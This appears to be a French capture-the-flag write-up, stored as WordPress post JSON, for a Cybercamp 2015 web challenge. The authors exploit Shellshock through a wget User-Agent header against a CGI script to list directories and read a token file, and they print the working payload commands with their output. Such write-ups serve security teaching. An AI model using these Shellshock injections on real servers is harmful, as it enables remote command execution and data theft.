{"id":397,"date":"2015-08-02T00:21:20","date_gmt":"2015-08-01T22:21:20","guid":{"rendered":"https:\/\/0x90r00t.com\/?p=397"},"modified":"2015-08-02T00:24:25","modified_gmt":"2015-08-01T22:24:25","slug":"cybercamp-2015-web-13-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2015\/08\/02\/cybercamp-2015-web-13-write-up\/","title":{"rendered":"[Cybercamp 2015] [Web 13] Write Up"},"content":{"rendered":"<p>Sur la page d&rsquo;accueil, nous avons un formulaire demandant l&rsquo;heure en secondes, ainsi qu&rsquo;une frame pointant vers un fichier .cgi, qui lui, affiche l&rsquo;heure en toutes lettres.<br \/>\nNotre 1\u00e8re id\u00e9e a \u00e9t\u00e9 de faire un script qui se synchronise avec l&rsquo;heure affich\u00e9e par le .cgi afin de renvoyer l&rsquo;heure exacte en secondes, au bon moment, mais cela n&rsquo;a rien donn\u00e9.<br \/>\nL&rsquo;id\u00e9e suivante a \u00e9t\u00e9 meilleure, un script cgi, une faille, ne serait-ce pas une exploitation de notre ch\u00e8re vuln\u00e9rabilit\u00e9 shellshock ?<\/p>\n<p><!--more--><\/p>\n<p>Un petit test avec wget nous a redonn\u00e9 le sourire ! La subtilit\u00e9 ici \u00e9tait de ne pas oublier de mettre le chemin COMPLET vers le binaire de ls, sinon \u00e7a ne fonctionnait pas \ud83d\ude09<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nwget -U '() { :; }; echo; \/bin\/ls' -qO- http:\/\/challenge.cybercamp.es:8093\/cgi-bin\/date.cgi\r\n<\/pre>\n<p>Cette commande nous a retourn\u00e9 la liste des fichiers et dossiers du r\u00e9pertoire contenant date.cgi, mais rien d&rsquo;int\u00e9ressant \u00e0 l&rsquo;int\u00e9rieur.<br \/>\nLa suite \u00e9tait de deviner dans quel dossier se trouverait le flag.<br \/>\nAyant vu dans les headers http que le serveur tournait sous apache, on essaye de lister le r\u00e9pertoire par d\u00e9faut des fichiers web : \/var\/www\/html.<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\n$ wget -U '() { :; }; echo; \/bin\/ls -la \/var\/www\/html' -qO- http:\/\/challenge.cybercamp.es:8093\/cgi-bin\/date.cgi\r\ntotal 28\r\ndrwxr-xr-x 5 root root 4096 Jun 17 00:35 .\r\ndrwxr-xr-x 3 root root 4096 Jun 9 19:22 ..\r\ndrwxr-xr-x 2 root root 4096 Jul 22 11:51 css\r\n-rw-r--r-- 1 root root 34   Jun 9 23:04 datet0ken\r\ndrwxr-xr-x 2 root root 4096 Jul 22 11:51 fonts\r\n-rw-r--r-- 1 root root 1779 Jun 17 00:35 index.html\r\ndrwxr-xr-x 2 root root 4096 Jul 22 11:51 js\r\n<\/pre>\n<p>Super ! Il n&rsquo;y a plus qu&rsquo;\u00e0 r\u00e9cup\u00e9rer le token.<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\n$ wget -U '() { :; }; echo; \/bin\/cat \/var\/www\/html\/datet0ken' -qO- http:\/\/challenge.cybercamp.es:8093\/cgi-bin\/date.cgi\r\n7e88cc4325ac0a342ab1bb30f2706ba4\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Sur la page d&rsquo;accueil, nous avons un formulaire demandant l&rsquo;heure en secondes, ainsi qu&rsquo;une frame pointant vers un fichier .cgi, qui lui, affiche l&rsquo;heure en toutes lettres. Notre 1\u00e8re id\u00e9e a \u00e9t\u00e9 de faire un script qui se synchronise avec l&rsquo;heure affich\u00e9e par le .cgi afin de renvoyer l&rsquo;heure exacte en secondes, au bon moment, &hellip; <a href=\"https:\/\/0x90r00t.com\/fr\/2015\/08\/02\/cybercamp-2015-web-13-write-up\/\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">[Cybercamp 2015] [Web 13] Write Up<\/span>  <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34,35,36],"tags":[],"class_list":["post-397","post","type-post","status-publish","format-standard","hentry","category-2015-fr","category-ctf-fr","category-cybercamp-fr"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/397","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=397"}],"version-history":[{"count":6,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/397\/revisions"}],"predecessor-version":[{"id":626,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/397\/revisions\/626"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=397"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=397"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=397"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}